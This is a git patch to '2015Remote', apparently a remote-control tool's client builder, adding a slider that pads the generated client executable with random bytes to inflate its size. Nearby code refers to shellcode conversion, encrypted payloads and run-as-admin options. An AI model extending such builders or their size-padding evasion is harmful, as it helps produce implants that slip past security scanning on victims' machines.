From ba9be08411b47d87d5213e424249b0b8a66285cd Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Fri, 2 Jan 2026 17:25:45 +0100 Subject: [PATCH] Feature: Support padding data to change client size --- server/2015Remote/2015Remote.rc | Bin 108990 -> 109382 bytes server/2015Remote/BuildDlg.cpp | 23 +++++++++++++++++++++++ server/2015Remote/BuildDlg.h | 2 ++ server/2015Remote/resource.h | Bin 58352 -> 58444 bytes 4 files changed, 25 insertions(+) diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 69c08c7e79bae8afe6cd323f375c6cabdbc19759..82180e34fab734d602adfed6a89e9fdbb7dac44c 100644 GIT binary patch delta 326 zcmdmYneEs$whe6D%nKP_Oy^#~XsEb?VF|-RhUGx~g2A3am!XDX1;ZL3%N|HC0?ADF z<<6Iesmh0nBgt<*%e^pZa!)YFWQA_M`d|hh22TbT23Lk4hIj^NFwd32k0Aue3kJ$W z0cCU;lo)auiW!m_N*Hp0bUctQVn_t?vl)_rbP|O sC;J&FvCNBD+A#Tni2}blREaT=HUcV;Z_u3_^@Xc>PTux8d5lWd07qC$3jhEB delta 45 zcmV+|0Mh@))&{=Q2CxPTmy)RgP?KZ}W|uCi0T`2V2^y1%2O_g53|?Y`_HVcLZvjv{ Dp!^ZD diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index 5124bdb..67eb8b1 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -103,6 +103,7 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX) DDV_MaxChars(pDX, m_sGroupName, 23); DDX_Control(pDX, IDC_COMBO_PAYLOAD, m_ComboPayload); DDX_Control(pDX, IDC_STATIC_PAYLOAD, m_StaticPayload); + DDX_Control(pDX, IDC_SLIDER_CLIENT_SIZE, m_SliderClientSize); } @@ -114,6 +115,7 @@ BEGIN_MESSAGE_MAP(CBuildDlg, CDialog) ON_COMMAND(ID_MENU_ENCRYPT_IP, &CBuildDlg::OnMenuEncryptIp) ON_COMMAND(ID_CLIENT_RUNAS_ADMIN, &CBuildDlg::OnClientRunasAdmin) ON_CBN_SELCHANGE(IDC_COMBO_COMPRESS, &CBuildDlg::OnCbnSelchangeComboCompress) + ON_NOTIFY_EX(TTN_NEEDTEXT, 0, &CBuildDlg::OnToolTipNotify) END_MESSAGE_MAP() @@ -403,6 +405,11 @@ void CBuildDlg::OnBnClickedOk() if (ret)MessageBox(CString("ShellCode 转换异常, 异常代码: ") + CString(std::to_string(ret).c_str()), "提示", MB_ICONINFORMATION); } + int size = m_SliderClientSize.GetPos() * 2.56 * 1024 * 1024; + if (size > 0) { + std::vector padding(size, time(0)%256); + WriteBinaryToFile(strSeverFile.GetString(), padding.data(), size, -1); + } MessageBox("生成成功! 文件位于:\r\n" + strSeverFile + tip, "提示", MB_ICONINFORMATION); } SAFE_DELETE_ARRAY(szBuffer); @@ -587,3 +594,19 @@ void CBuildDlg::OnCbnSelchangeComboCompress() m_ComboPayload.ShowWindow(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES ? SW_SHOW : SW_HIDE); m_StaticPayload.ShowWindow(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES ? SW_SHOW : SW_HIDE); } + +BOOL CBuildDlg::OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult) +{ + TOOLTIPTEXTA* pTTT = (TOOLTIPTEXTA*)pNMHDR; + UINT nID = pNMHDR->idFrom; + if (pTTT->uFlags & TTF_IDISHWND) { + // idFrom is actually the HWND of the tool + nID = ::GetDlgCtrlID((HWND)nID); + } + if (nID == IDC_SLIDER_CLIENT_SIZE) { + int size = m_SliderClientSize.GetPos() * 2.56; + sprintf_s(pTTT->szText, "%dM", size); + return TRUE; + } + return FALSE; +} diff --git a/server/2015Remote/BuildDlg.h b/server/2015Remote/BuildDlg.h index 4ac7f05..78684d1 100644 --- a/server/2015Remote/BuildDlg.h +++ b/server/2015Remote/BuildDlg.h @@ -24,6 +24,7 @@ public: protected: virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 CString GetFilePath(CString type, CString filter, BOOL isOpen = TRUE); + BOOL OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult); DECLARE_MESSAGE_MAP() public: @@ -51,4 +52,5 @@ public: CComboBox m_ComboPayload; afx_msg void OnCbnSelchangeComboCompress(); CStatic m_StaticPayload; + CSliderCtrl m_SliderClientSize; }; diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index d16d6829ff92a464273c25f47505866646702ea9..0457d168b9c1f017c711fdf4f75334698656ef29 100644 GIT binary patch delta 62 zcmV-E0Kxz8#{&lR>HzlXAKmlkgt~lW^k}lR%&p Uv-Y2QLz5J$7L&~46qB0cRwYpyr~m)} delta 38 wcmV+>0NMY{$OG`l1F+_wlc1mwlf)7#ldz%+vxcBXLz5_=7L(566qEMjR*1(F*Z=?k